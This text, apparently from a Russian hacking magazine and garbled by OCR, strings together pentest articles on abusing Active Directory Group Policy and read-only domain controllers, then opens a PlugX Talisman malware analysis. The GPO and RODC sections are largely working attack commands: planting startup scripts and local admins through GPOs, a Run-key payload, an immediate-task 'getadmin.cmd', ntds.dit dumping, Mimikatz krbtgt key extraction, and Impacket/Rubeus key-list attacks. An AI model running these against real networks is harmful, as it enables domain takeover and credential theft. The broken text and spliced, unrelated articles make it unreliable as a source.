-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) 
-Force; $_}| Foreach-Object {if ($_.Identity -eq $("domain\user"))
{$_}}

   # Находим GPO, на которую пользователи с RID > 1000 имеют 
какие-нибудь права:
   Get-DomainObjectAcl -LDAPFilter '(

objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier
-match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights 

-match 
'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}

   # Обнаружение пользователей (кроме ожидаемых, таких как 
Enterprise Admins, Domain Admins), которые могут изменять GPO
   Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_

.ActiveDirectoryRights -match 
"GenericWrite|AllExtendedRights|WriteDacl|WriteProperty|WriteMembe
r|GenericAll|WriteOwner"
-and $_.SecurityIdentifier -match 

"S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}"  }

На конец, мож но исполь зовать BloodHound:

// Находим политики, на которые пользователь USER@DOMAIN.
LOCAL имеет права
   match p=AllShortestPaths((u:User {name: "USER@DOMAIN.LOCAL"})

-[r:MemberOf|GenericWrite*1..]->(o:GPO)) return p

Те перь, обна ружив полити ки и воз можный мис конфиг в виде поль зовате ля
 с подоз ритель ными при виле гиями, мож но прис тупать к получе нию учет -

ной записи это го поль зовате ля. При чем раз ведка на этом не закан чива ется,
мы можем обна ружить объ екты, которые име ют пра во соз давать новые GPO
в домене:

vaska

Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,
DC=lab" -ResolveGUIDs | where { $_.ObjectAceType -eq 
"Group-Policy-Container" }

Что бы най ти все OU, на которые рас простра няет ся полити ка, вос поль зуем ся
вот таким скрип том:

# PowerView v2
   Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {

Get-NetComputer -ADSpath $_}

# PowerView v3
   Get-DomainOU -GPLink '{<GPP_GUID>}' | % {Get-DomainObject 

-SearchBase $_.distinguishedname}|select  samaccounttype, cn

Те перь поищем поль зовате лей, которые могут свя зывать GPO с OU:

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.
ObjectAceType -eq "GP-Link" }

Get-DomainOU|Get-DomainObjectAcl -ResolveGUIDs | where { (($_.
ObjectAceType -match "GP-Link|GP-Options") -and  ($_.
ActiveDirectoryRights -eq "WriteProperty")) -or ($_.
ActiveDirectoryRights -eq "WriteProperty|GenericAll|GenericWrite")
} |Foreach-Object {$_ | Add-Member -NotePropertyName Identity 
-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) 
-Force; $_}

ÝÊÑÏËÓÀÒÀÖÈß

mmc

Кри во нас тро енные пра ва мож но экс плу ати ровать и с помощью стан дар тно го
при ложе ния , уста нов ленно го на каж дом компь юте ре c Windows. Сна -

чала запус каем это при ложе ние от лица поль зовате ля, име юще го пра ва
на какую-либо полити ку. Далее добав ляем нуж ную оснас тку.

mmc.exe

До бав ляем оснас тку , выбира ем полити ку и тог да

смо жем ее редак тировать.

Group Policy Management

Нап ример, соз дадим юзе ра, зай дя по сле дующе му пути:

Computer configuration > Preferences > Control Panel Settings > 
Local Users and Groups > New > Local User > Action: Create > User 
name: <user>

А затем добавим его в груп пу локаль ных адми нис тра торов:

Computer configuration > Preferences > Control Panel Settings > 
Local Users and Groups > New > Local User > Action: Update > 
Group name : <Administrators> > Members: Add: <user>

Ôàéë .ini

Этот спо соб я под смот рел у Дмит рия Неверо ва, руково дите ля груп пы ана лиза
защищен ности внут ренней инфраструк туры в ком пании «Рос телеком-Солар».
Чаще все го дос тупа к гра фичес кому интерфей су у нас не будет, поэто му при -
дет ся либо исполь зовать инс тру мен ты, опи сан ные ниже, либо вруч ную соз -
давать спе циаль ный кон фигура цион ный файл.

Нап ример, если наша задача — выпол нить скрипт на конеч ных устрой ствах,
то сна чала нуж но соз дать каталог  в кор не GPO
и помес тить в него скрипт . Содер жимое скрип та может быть любым,

абсо лют но любые коман ды. Сле дующим шагом в катало ге  в кор не

GPO пот ребу ется открыть файл . Это скры тый файл. Если фай -
ла не сущес тву ет, его нуж но соз дать. Содер жимое фай ла будет таким:

\Machine\Scripts\Startup
Test.ps1

\Machine\
psscripts.ini

[Startup]
0CmdLine=Test.ps1
0Parameters=

Этот файл содер жит ссыл ку на скрипт, который нуж но выпол нить. Так же
при необ ходимос ти в нем про писы вают ся парамет ры выпол нения (ког да они
есть). Если нуж но запус тить нес коль ко скрип тов, пер вый сим вол в этом фай ле
будет инкре мен тировать ся. Для скри пов  исполь зует ся файл 

.

.bat scripts.
ini

Пос ле завер шения под готови тель ных дей ствий оста ется толь ко изме нить
атри бут  с помощью PowerView:gpcmachineextensionnames

Set-DomainObject -Identity VulnGPO -Set @{
'gpcmachineextensionnames'=' [{
42B5FAAE-6536-11D2-AE5A-0000F87571E3}{
40B6664F-4972-11D1-A7CA-0000F87571E3}]'}

Зна чения  и 

 докумен тирова ны как 

и . Исполь зуя их в GPO, мы соз даем воз -
можность выпол нения скрип та при при мене нии груп повой полити ки.

42B5FAAE-6536-11D2-AE5A-0000F87571E3 40B6664F-4972-11D1-
A7CA-0000F87571E3 ProcessScriptsGroupPolicy

Scripts (Startup/Shutdown)

При чем если атри бут  уже содер жит дру гие

записи, то их тоже нуж но внес ти в коман ду. Так же сто ит изме нить параметр
 в фай ле  на еди ницу. Теперь пос ле перезаг рузки компь юте ра

скрипт  будет выпол нен. По умол чанию задер жка на выпол нение

скрип тов сос тавля ет пять минут.

gpcmachineextensionnames

Version GPT.ini
Test.ps1

По доб ным обра зом мож но добав лять локаль ных адми нис тра торов
на компь юте ре. Сна чала соз даем файл  по пути 

 (иног да эти катало ги отсутс тву ют и их при -

дет ся соз дать). Содер жимое фай ла будет сле дующим:

GptTmpl.inf \Machine\
Microsoft\Windows NT\SecEdit

[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Group Membership]

  *S-1-5-32-544__Members =
*S-1-5-21-2722789902-3858190539-1593706810-1119

Здесь к локаль ной груп пе локаль ных адми нис тра торов ( ) добав -

ляет ся SID домен ного поль зовате ля (

). При добав лении поль зовате ля в груп пу локаль ных адми -
нис тра торов необ ходимо учи тывать порядок при мене ния GPO. Наши дей ствия
могут при вес ти к тому, что легитим ные локаль ные адми нис тра торы будут уда -
лены из груп пы локаль ных адми нис тра торов, поэто му сто ит добавить и их SID
в файл  через запятую.

S-1-5-32-544
S-1-5-21-2722789902-3858190539-

1593706810-1119

GptTmpl.inf
Сле дующий шаг зак люча ется в изме нении атри бута

, эту задачу мож но выпол нить с помощью

PowerView:

gpcmachineextensionnames

Set-DomainObject -Identity VulnGPO -Set @{
'gpcmachineextensionnames'='[{
827D319E-6EAC-11D2-A4EA-00C04F79F83A}{
803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]'}

 име ет зна чение ,
а  — 

. При меняя их к GPO, мы можем изме нять спис ки учас тни ков локаль ных

групп.

827D319E-6EAC-11D2-A4EA-00C04F79F83A Security
803E14A0-B4FB-11D0-A0D0-00A0C90F574B Computer Restricted

Groups

Пом ни: если атри буты 

и  уже содер жат дру гие записи, их так же нуж но

внес ти в нашу коман ду PowerView. Наконец, не забудь изме нить параметр
 в фай ле  на еди ницу.

gpcuserextensionnames
gpcmachineextensionnames

Version GPT.ini

Ñîçäàíèå GPO

Ес ли на эта пе раз ведки получи лось обна ружить поль зовате ля, который име ет
пра во соз давать GPO и свя зывать ее с OU, то это так же может помочь при экс -
плу ата ции. PowerView не име ет воз можнос ти соз давать GPO, поэто му сле дует
исполь зовать . Уста нов ка этой ути литы не пред став ляет никаких слож -
ностей:

RSAT

Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.
Tools.0.0.1.0
Import-Module GroupPolicy

За водим новую GPO:

New-Gpo -Name TestGPO

Свя зыва ем с OU:

Get-GPO TestGPO | New-GPLink -Target "ou=Test,dc=domain,dc=local"

Пос ле успешно го свя зыва ния мож но либо вруч ную изме нять соз данную GPO,
как было показа но выше, либо исполь зовать для это го под ходящие инс тру мен -
ты, нап ример  или .SharpGPOAbuse pyGPOAbuse

Ког да работы завер шатся, GPO будет отвя зана от OU:

Remove-GPLink -Name TestGPO -Target "ou=Test,dc=domain,dc=local"

И уда лена:

Remove-GPO -Name TestGPO

Ïåðåìåùåíèå ÷åðåç GPO

Нич то не меша ет нам исполь зовать GPO как средс тво боково го переме щения.
Опять же ста вим RSAT:

Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.
Tools.0.0.1.0
Import-Module GroupPolicy

И изме няем соз данную полити ку, добав ляя в реестр (в ключ авто заг рузки) наш
пей лоад:

Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context 
Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\
CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.
exe' -Type ExpandString

Ес ли уста новить RSAT нет воз можнос ти, то мож но импорти ровать 
, который поз воля ет соз дать зап ланиро ван ную задачу:

PowerShell-
скрипт

New-GPOImmediateTask -TaskName evilTask -Command cmd 
-CommandArguments "/c c:\dsec\getadmin.cmd" -GPODisplayName 
"VictimGPO" -Verbose -Force

ÂÛÂÎÄÛ

Груп повые полити ки сто ят далеко не на самом пер вом мес те в чек-лис те
типовых уяз вимос тей Active Directory. Тем не менее, зло упот ребляя ими, ата -
кующий смо жет получить чрез вычай но выгод ное положе ние, зах ватив сра зу
целый OU. Самое глав ное — не забывай, что изме нения при меня ются далеко
не сра зу. Компь юте рам нуж но вре мя для син хро низа ции. Если ждать нет воз -
можнос ти, исполь зуй коман ду .gpupdate /force

mailto:michael.zhmailo@yandex.ru
https://www.microsoft.com/ru-RU/download/details.aspx?id=45520
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/Hackndo/pyGPOAbuse
https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1
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ВЗЛОМ

В сетях на осно ве Windows сущес тву ет
спе циаль ный под вид кон трол леров
домена под наз вани ем Read-only Domain
Controller. Сегод ня мы погово рим об уяз -
вимос тях таких кон трол леров и рас смот -
рим век торы атак, которые мож но к ним
при менить.

ÒÅÎÐÈß
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Read-only Domain Controller был пред став лен в Windows Server 2008. Его
основная цель — обес печить безопас ное вза имо дей ствие сер вера со служ бой
катало гов. Очень час то подоб ные кон трол леры домена ста вят в каких-нибудь
уда лен ных офи сах ком пании, ста рых фили алах и про чих мес тах, где невоз -
можно гаран тировать дос таточ ную физичес кую безопас ность сер вера. Получив
дос туп к такому устрой ству, ни один зло умыш ленник не смо жет тол ком пов -
лиять на домен.

Внут ри RODC хра нит ся копия базы AD, но чуточ ку изме нен ная. Во-пер вых,
не сох раня ется мно жес тво атри бутов, нап ример  — в этом
атри буте хра нит ся пароль локаль ного адми нис тра тора при нас тро енном LAPS.
Во-вто рых, раз решено кеширо вать учет ные дан ные лишь кон крет ных поль -
зовате лей. Нап ример, поль зовате лей это го самого уда лен ного офи са.

ms-Mcs-AdmPwd

Что такое кеширо вание? Это обыч ное сох ранение учет ных дан ных поль -
зовате лей. Сох раня ются они в фай ле , рав но как и на обыч ном кон -

трол лере домена.

ntds.dit

При чем RODC не соз дает домен, а добав ляет ся в сущес тву ющий. Дела ется
это еще на эта пе уста нов ки и выг лядит вот так.

Нас трой ка RODC

При этом исполь зование RODC дает мно жес тво пре иму ществ в пла не
безопас ности: отдель ный DNS-сер вер, изме нения в котором никак не отра -
жают ся на основном, делеги рова ние роли адми нис тра тора любому поль -
зовате лю (при чем этот поль зователь необя затель но дол жен быть адми нис тра -
тором на обыч ных кон трол лерах домена).

Наз начение поль зовате лей

Так же сле дует выделить осо бен ность реп ликации (DCSYNC) — она воз можна
толь ко со сто роны обыч ного кон трол лера домена. RODC ничего реп лициро -
вать не может. Так же при сутс тву ет изо ляция SYSVOL — любые изме нения
в груп повых полити ках оста ются на RODC и не рас простра няют ся на основной
домен.

Ес ли рас смат ривать RODC на «тировой» архи тек туре Microsoft, то воз ника -
ют опре делен ные слож ности, так как при над лежащие Tier 0 ресур сы не могут
работать в тех мес тах, где дол жны находить ся RODC. А RODC не дол жны
иметь под кон тро лем какие-либо ресур сы из Tier 0. Поэто му хос ты RODC
и учет ные дан ные для под клю чения к ним никак не могут при над лежать Tier 0,
но вот сами компь ютер ные объ екты RODC сле дует защищать, как Tier 0.

Àòðèáóòû

RODC име ет мно жес тво осо бен ностей. Пер вая — поч ти вся нуж ная ата кующе -
му информа ция находит ся в атри бутах компь ютер ной учет ной записи RODC.
Наибо лее инте рес ные для нас атри буты крат ко опи саны ниже.

managedBy

Здесь ука зыва ется объ ект, которо му делеги рова но адми нис тра тив ное
управле ние RODC. Любой поль зователь или груп па, ука зан ные в этом атри -
буте, явля ются локаль ными адми нис тра тора ми на RODC:

Get-ADComputer 'RODC' -prop managedBy

Изу чение атри бута

msDS-RevealOnDemandGroup, msDS-NeverRevealGroup

В этом атри буте ука зыва ются объ екты, учет ные дан ные которых могут кеширо -
вать ся. Кеширо вание нуж но для того, что бы эти поль зовате ли мог ли про ходить
про вер ку под линнос ти на RODC.

Get-ADComputer 'RODC' -prop msDS-RevealOnDemandGroup,
msDS-NeverRevealGroup

Изу чение атри бутов

Со ответс твен но, сущес тву ет атри бут, зап реща ющий кеширо вание про писан -
ных в нем учет ных дан ных объ ектов. Он называ ется .msDS-NeverRevealGroup

msDS-AuthenticatedToAccountList

Здесь будут хра нить ся объ екты, которые успешно аутен тифици рова лись
на RODC:

Get-ADComputer 'RODC' -prop msDS-AuthenticatedToAccountList

Изу чение атри бута

msDS-Revealed*

Это целая груп па из нес коль ких атри бутов:
msDS-RevealedUsers — спи сок объ ектов, учет ные дан ные которых ког -
да-либо кеширо вались на RODC;

•

msDS-RevealedDSAs — спи сок RODC, которые кеширо вали пароль поль -
зовате ля;

•

msDS-RevealedList — спи сок объ ектов, учет ные дан ные которых были
успешно сох ранены на RODC.

•

Get-ADComputer 'RODC' -prop msDS-RevealedList,msDS-RevealedDSAs,
msDS-RevealedUsers

Изу чение атри бутов

Àóòåíòèôèêàöèÿ ïîëüçîâàòåëåé

RODC кеширу ет учет ные дан ные опре делен ных поль зовате лей как раз таки,
что бы про верить их под линность. Пос ле успешной аутен тифика ции по всем
канонам дол жен быть сге нери рован TGT-билет, но RODC нель зя счи тать
надеж ным KDC, поэто му у него соз дает ся собс твен ная учет ная запись .

Ее пароль исполь зует ся для под писи соз дава емых TGT.

krbtgt

Упо мяну тая учет ная запись име ет необыч ное имя: . Эти

самые циф ры — спе циаль ный иден тифика тор клю ча, который исполь зовал ся
для шиф рования TGT-билета. Имя новой учет ной записи KRBTGT хра нит ся
в атри буте  объ екта RODC. А у этой самой новой учет ной

записи KRBTGT в атри буте  содер жится имя RODC. Таким

обра зом, обна ружив RODC, мож но свя зать его с кон крет ным .

И, соот ветс твен но, обна ружив , мож но свя зать его с кон крет ным
RODC.

krbtgt_<цифры>

msDS-KrbTgtLink
msDS-KrbTgtLinkBl

KRBTGT_XXXXX
KRBTGT_XXXXX

До пол нитель но отме чу, что RODC име ет пра во на сброс пароля этой самой
.KRBTGT_XXXXX

 name   Get-ADUser -filter { -like "krbtgt*"} -prop Name,Created,
PasswordLastSet,msDS-KeyVersionNumber,msDS-KrbTgtLinkBl

На хож дение KRBTGT_XXXXX

Get-ADComputer RODC -Properties msDS-KrbTgtLink

На хож дение свя зан ного krbtgt

Get-ADUser krbtgt_19160 -Properties msDS-SecondaryKrbTgtNumber,
msDS-KrbTGTLinkBl

На хож дение свя зан ного RODC

ÏÎÈÑÊ RODC

Как я уже отме тил, ты можешь обна ружить учет ную запись с име нем 
, пос ле чего гля нуть ее атри бут  и най ти свя зан ный

кон трол лер, но есть и иные спо собы нахож дения RODC.

KRBTGT_<
цифры> msDS-KrbTGTLinkBl

Са мый прос той — исполь зовать филь тр:

Get-ADDomainController -filter {ISReadOnly -eq $True}

По иск RODC

Так же была обна руже на груп па «Кон трол леры домена — толь ко чте ние»
и «Кон трол леры домена пред при ятия — толь ко чте ние», которые име ют RID
521 и 498 соот ветс твен но. RODC вхо дит в одну из этих групп в зависи мос ти
от его уров ня. Соот ветс твен но, мы можем либо переб рать все компь юте ры,
ана лизи руя их атри бут , либо сна чала получить GUID этих

групп:

PrimaryGroupID

Get-ADGroup -filter {name -like "*чтен*"}

На хож дение групп

А затем извлечь учас тни ков:

Get-ADGroupMember -identity d876774c-474b-4a70-a3d9-e89998e5a99e

На ходим учас тни ков

ÏÎËÓ×ÅÍÈÅ ÊÅØÈÐÎÂÀÍÍÛÕ ÏÀÐÎËÅÉ Ñ RODC

Пер вым делом ты дол жен получить прин ципала, который име ет пра ва локаль -
ного адми нис тра тора на RODC. Это может быть ком про мета ция как кого-то
при виле гиро ван ного, так и прос то поль зовате ля, про писан ного в атри буте

. Но перед этим не забудь выяс нить, кого вооб ще мы можем ском -

про мети ровать. Для это го заг ляни в атри бут :

managedBy
msDS-RevealedUsers

Get-ADComputer 'RODC' -prop msDS-RevealedUsers,
msDS-RevealOnDemandGroup,msDS-RevealedList

Прос мотр атри бутов

Прос мотр атри бутов

Столь боль шие отли чия не слу чай ны. Вро де бы кеширо вать раз решено
 и адми нис тра тора, а закеши рова ны дан ные толь ко вто рого,

отку да-то взяв шегося RODC и . Проб лема зак люча ется в том,

что кеширо вания про изой дет толь ко пос ле успешной аутен тифика ции поль -
зовате ля в домене. То есть если  сей час залоги нит ся, то дан -
ные это го поль зовате ля будут переда ны RODC обыч ным кон трол лером
домена для кеширо вания. Учет ные дан ные RODC и  лежат

в кеше потому, что компь ютер ная учет ная запись исполь зует ся, нап ример,
при работе со служ бой катало гов, а с помощью KRBTGT шиф руют ся выдава -
емые TGT.

RACHAEL_LAMBERT
krbtgt_19160

RACHAEL_LAMBERT

krbtgt_19160

Так как все закеши рован ные пароли будут лежать в , то сме ло

дам пим его любым удоб ным спо собом. Но сна чала нуж но получить дос туп
от лица локаль ного адми нис тра тора. Вспом ним, что в атри буте  был

про писан некий .

ntds.dit

managedBy
FAUSTINO_SHERMAN

Ат рибут managedBy

По луча ем дос туп к это му поль зовате лю, заходим на хост и видим, что мы дей -
стви тель но в груп пе ЛА.

Членс тво в груп пе локаль ных адми нис тра торов

Пос ле это го дам пим  как нам угод но, нап ример через VSS.ntds.dit

Продолжение статьи →

mailto:michael.zhmailo@yandex.ru


ТОЛЬКО ДЛЯ ЧТЕНИЯ
ПЕНТЕСТИМ

READ-ONLY DOMAIN CONTROLLERS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

DSRM

У всех кон трол леров домена есть такая шту ка, которая называ ется DSRM. Она
поз воля ет сде лать «запас ной» пароль для учет ной записи локаль ного адми нис -
тра тора на слу чай, если вдруг основной пароль забыт или уте рян.

Как толь ко мы получи ли дос туп к RODC, обя затель но нуж но дам пить SAM
с целью поис ка это го пароля. Пароль свя зан с учет ной записью адми нис тра -
тора, RID которой равен 500.

По луче ние DSRM

При чем если мы срав ним этот пароль со стан дар тным паролем адми нис тра -
тора, то они будут отли чать ся.

Па роль обыч ного адми нис тра тора

Нам может повез ти, а может нет. Во-пер вых, чаще все го уста нав лива ется один
и тот же пароль DSRM на все кон трол леры домена, и мы смо жем зай ти на дру -
гой кон трол лер домена от лица адми нис тра тора. Но, во-вто рых, что бы зай ти
от име ни адми нис тра тора, нуж на осо бая нас трой ка кон трол лера: тре бует ся,
что бы зна чение  по пути 

 было рав но 2.

DsrmAdminLogonBehaviour HKLM\System\
CurrentControlSet\Control\Lsa

Про вер ка реес тра

Ес ли нам повезет, то мы смо жем выпол нить вход от име ни админ ской учет ки.

Ус пешная аутен тифика ция

ÎÑÎÁÅÍÍÎÑÒÈ ÐÀÁÎÒÛ KERBEROS Ñ RODC

Са мая глав ная осо бен ность работы Kerberos с RODC в том, что RDOC
не может син хро низи ровать ся с кон трол лером домена. Про цесс DCSYNC воз -
можен лишь в одну сто рону — с обыч ного кон трол лера на RODC. Син хро низи -
ровать что-либо с RODC невоз можно.

Дамп с RODC

Дамп с DC

Так же сге нери рован ный RODC TGT мож но исполь зовать и в домене, отдав его
зап росом TGS-REQ на служ бу  обыч ного кон трол лера домена. Ког да

обыч ный КД получа ет дан ный TGT, он смот рит атри бут 

 RODC и про веря ет: если прин ципал тикета ука зан
в этом атри буте и не ука зан в , то TGT будет обновлен

до «пол ного» TGT и под писан клю чом обыч ной учет ной записи  кон трол -

лера домена. При чем обыч ный кон трол лер домена переге нери рует PAC
билета, а не ста нет его копиро вать из TGT, сге нери рован ного RODC.

krbtgt
msDS-

RevealOnDemandGroup
msDS-NeverRevealGroup

krbtgt

Та ким обра зом, если мы хотим соз дать «золотой», «брил лиан товый»
или «сап фировый» тикет, обя затель но сле дить за тем, какой поль зователь нам
нужен. Прин ципал ни в коем слу чае не дол жен при сутс тво вать в спис ке 

.

msDS-
NeverRevealGroup

KEY LIST

Эта ата ка поз воля ет извлечь NTLM-хеш поль зовате ля, зло упот ребляя осо бен -
ностя ми вза имо дей ствия RODC с обыч ным кон трол лером домена. Сна чала
«золотой» тикет генери рует ся с исполь зовани ем клю ча  RODC и отправ -

ляет ся в зап росе TGS-REQ на обыч ный кон трол лер домена. При этом уста нав -
лива ется спе циаль ный флаг . И если целевая учет ная

запись при сутс тву ет в атри буте  RODC и отсутс -

тву ет в атри буте , то TGS-REP будет содер жать струк -
туру  с учет ными дан ными поль зовате ля.

krbtgt

KERB-KEY-LIST-REQ
msDS-RevealOnDemandGroup

msDS-NeverRevealGroup
KERB-KEY-LIST-REP

Для выпол нения ата ки нам нуж ны:
1. AES-ключ учет ной записи  с RODC.krbtgt

2. Но мер вер сии клю ча (пос ледние циф ры в име ни ).krbtgt

3. Имя поль зовате ля, хеш которо го хотим получить. Поль зователь дол жен
быть про писан в атри буте .msDS-RevealOnDemandGroup

Пер вые два объ екта мож но получить, исполь зуя Mimikatz:

lsadump::lsa /inject /name:krbtgt_19160

Из вле чение клю ча AES-256

А потом мож но вос поль зовать ся Rubeus либо Impacket для получе ния NTLM-
хеша поль зовате ля:

# impacket
   impacket-keylistattack CRINGE/FAUSTINO_SHERMAN:pass123@dc01 

-rodcNo 19160 -rodcKey 
fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 
-dc-ip 192.168.116.133 -debug

# Rubeus

   # Сначала запрашиваем TGT
   Rubeus.exe golden /rodcNumber:19160 /aes256:

fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 /
user:RACHAEL_LAMBERT /id:1196 /domain:cringe.lab /sid:S-1-5-21-
1437000690-1664695696-1586295871

   # Отдаем TGT в запрос TGS-REQ
       Rubeus.exe asktgs /enctype:aes256 /keyList /service:

krbtgt/cringe.lab /dc:dc1.cringe.lab /ticket:doIFgzCCBX+gA

Impacket переби рает всех поль зовате лей домена

Лис таем вниз и находим хеш поль зовате ля.

Impacket натыка ется на поль зовате ля из msDS-RevealOnDemandGroup

ÊÎÍÒÐÎËÜ ÍÀÄ ÎÁÚÅÊÒÎÌ RODC

Ес ли вдруг в ходе пен теста получи лось обна ружить учет ную запись, которая
име ет пра ва  на 

 и желатель но на , то зах ват

домена обес печен! Все сво дит ся к изме нению этих самых атри бутов 

 и , что при ведет к кеширо -
ванию паролей новых поль зовате лей.

GenericWrite/GenericAll/WriteProperty msDS-
RevealOnDemandGroup msDS-NeverRevealGroup

msDS-
RevealOnDemandGroup msDS-NeverRevealGroup

Нап ример, мы видим, что кеширо вание неких ,

 и  отклю чено.

RAMONA_TURNER
RAMON_STEWART RANDELL_COLON

Изу чение атри бутов

Пос коль ку у нас учет ная запись име ет кон троль над этим атри бутом, прос то
очи щаем его:

Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'

Очис тка атри бутов

А в атри бут , наобо рот, добав ляем поль зовате лей:msDS-RevealOnDemandGroup

Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'
=@('CN=RAMONA_TURNER,OU=Test,OU=BDE,OU=Tier 1,DC=cringe,DC=lab', 
'CN=RAMON_STEWART,OU=ESM,OU=Stage,DC=cringe,DC=lab', 
'CN=RANDELL_COLON,OU=TST,OU=Tier 2,DC=cringe,DC=lab')}

Из менение атри бутов

Да лее при дет ся некото рое вре мя подож дать, пока не прой дет успешная син -
хро низа ция RODC с обыч ным кон трол лером домена и получе ние учет ных дан -
ных поль зовате лей, ука зан ных в . Для это го

мониторь содер жимое атри бута : в нем хра нит ся спи сок

объ ектов, учет ные дан ные которых успешно закеши рова лись на RODC. Коман -
ды смот ри в раз деле «Поиск».

msDS-RevealOnDemandGroup
msDS-RevealedList

ÇÀÊËÞ×ÅÍÈÅ

RODC поль зует ся популяр ностью у сис темных адми нис тра торов. Да, этот инс -
тру мент удо бен, но мало кто зна ет, что он соз дает новые век торы для атак.
Самые час тые мис конфи ги:
1. Ке широ вание RODC боль шого чис ла учет ных дан ных, нап ример ког да

в  ука зыва ют груп пу 
. Ком про мети рует ся RODC, и мы получа ем дос туп к этим дан ным.

msDS-RevealOnDemandGroup Authenticated

Users

2. RODC адми нис три руют ся груп пой , которая чаще все го
не защище на дол жным обра зом. Соот ветс твен но, ата кующий про бива ется
в эту груп пу, идет на RODC, а далее смот ри пункт 1.

RODC Admins

3. Па роль DSRM на обыч ном кон трол лере домена и на кон трол лере домена
RODC оди нако вый.

Ины ми сло вами, RODC нель зя счи тать панаце ей, но при гра мот ном адми нис -
три рова нии мно жес тво рас простра нен ных оши бок получит ся сгла дить либо
испра вить.



ИЗУЧАЕМ
ВРЕДОНОС TALISMAN

НА ПРАКТИКЕ

rayhunt454

ВЗЛОМ

В 2022 году нес коль ко анти вирус ных ком -
паний опуб ликова ли обзо ры написан ного
на C бэк дора из семей ства PlugX под наз -
вани ем Talisman. На при мере это го тро яна
мы раз берем, как выпол няет ся динами -
чес кий и ста тичес кий ана лиз вре донос -
ного ПО, а так же соз дадим собс твен ные
сиг натуры для детек тирова ния иссле -
дуемо го образца.

Бэк доры это го семей ства извес тны с мар та 2022 года и доволь но хорошо изу -
чены. Впер вые опи сала его  ком пания Trellix, схо жий модуль так же
опи сыва ет ком пания Dr.Web под наз вани ем . Кон крет но этот
обра зец пред став ляет собой мно гоком понен тную вре донос ную прог рамму,
которая попада ет на компь ютер жер твы бла года ря дру гому тро яну-заг рузчи ку
и работа ет в опе ратив ной памяти машины.

воз можнос ти
BackDoor.PlugX.38

Вре донос сос тоит из трех ком понен тов: исполня емо го фай ла ,
име юще го дей стви тель ную циф ровую под пись, который заг ружа ет модифи -
циро ван ную зло умыш ленни ками динами чес кую биб лиоте ку 
с помощью тех ники . В свою оче редь, биб лиоте ка содер жит
зашиф рован ный файл , в котором спря тана полез ная наг рузка. Биб -
лиоте ка запус кает шелл-код в фун кции  и рас шифро выва ет файл 

. Далее исполня емый код, получен ный пос ле рас шифров ки это го фай ла,

извле кает кон фигура цию PlugX Talisman, а так же основную полез ную наг рузку
PlugX, тоже пред став ленную в виде динами чес кой биб лиоте ки. Она содер жит
основной модуль вре доно са PlugX Talisman, который заг ружа ется в память про -
цес са .

SNAC.EXE

WGXMAN.DLL
DLL side-loading

SNAC.LOG
DllMain SNAC.

LOG

SNAC.EXE

Прин цип работы PlugX Talisman

В этой статье мы изу чим обра зец вре донос ной прог раммы, научим ся про -
водить ее ана лиз, най дем инте рес ные учас тки в коде модуля, рас шифру ем
файл , а так же получим кон фигура цию PlugX Talisman и извле чем

основную полез ную наг рузку PlugX.

SNAG.LOG

INFO

О том, как из под ручных матери алов с помощью
сме кал ки и уме лых рук пос тро ить 
лабора торию для ана лиза вре доно сов, под робно
рас ска зано в статье 

.

скво реч ник

«Код под над зором. Соз даем
вир туаль ную лабора торию для ана лиза мал вари»

ÈÍÑÒÐÓÌÅÍÒÀÐÈÉ

Для даль нейше го иссле дова ния вре донос ного фай ла вос поль зуем ся сле -
дующим соф том:
1.  — прог рамма для опре деле ния типов фай лов.DIE
2.  — прог рамма для поис ка арте фак тов в исполня емых фай лах.PeStudio
3.  — инте рак тивный дизас сем блер, исполь зуемый для реверс-инжи -

нирин га.
IDA Pro

4.  — инс тру мент для ана лиза сетевых про токо лов.Wireshark
5.  — исполь зует ся в качес тве проз рачно го прок си-сер вера с целью

ана лиза вза имо дей ствия вре донос ного фай ла по про токо лу HTTPS.
Burp Suite

6.  — ска нер IOCs.Loki Scanner
7.  — прог рамма для тес тирова ния и соз дания пра вил YARA.YaraEditor
8.  — ути лита для ана лиза вызыва емых WinAPI-фун кций иссле дуемо -

го вре доно са.
ApiLogger

9.  — отладчик с откры тым исходным кодом для Windows, пред назна -
чен ный для ана лиза вре донос ных прог рамм.
x64dbg

10.  — ути лита для монито рин га про цес сов и служб.Process Hacker
11. Пла гин  для IDA — пла гин для генера ции пра вил YARA на осно ве

кода.
mkYARA

ÏÅÐÂÈ×ÍÛÉ ÀÍÀËÈÇ

Преж де чем прис тупать к ревер су фай лов, получим пер вичную информа цию
об иссле дуемых образцах. Заг рузим файл  в PeStudio. При ана лизе

необ ходимо обра тить вни мание на стро ки, под клю чаемые биб лиоте ки, вер сии
фай лов, сер тифика ты, а так же на све дения о фай ле отладки, которые в некото -
рых слу чаях помога ют атри бути ровать раз работ чика.

SNAC.EXE

Пе рей дем на вклад ку Version.

Опи сание исполня емо го фай ла

Ори гиналь ное имя фай ла — , циф ровая под пись ука зыва ет на то, что

файл раз работан ком пани ей Symantec Corporation.

SNAC.exe

Стро ка фай ла отладки

Файл отладки рас положен по сле дующе му пути:

C:\bld_area\sesagent70\snac_build\bin.ira\snac.pdb

Пе рей дем на вклад ку Libraries.

Под клю чаемые биб лиоте ки

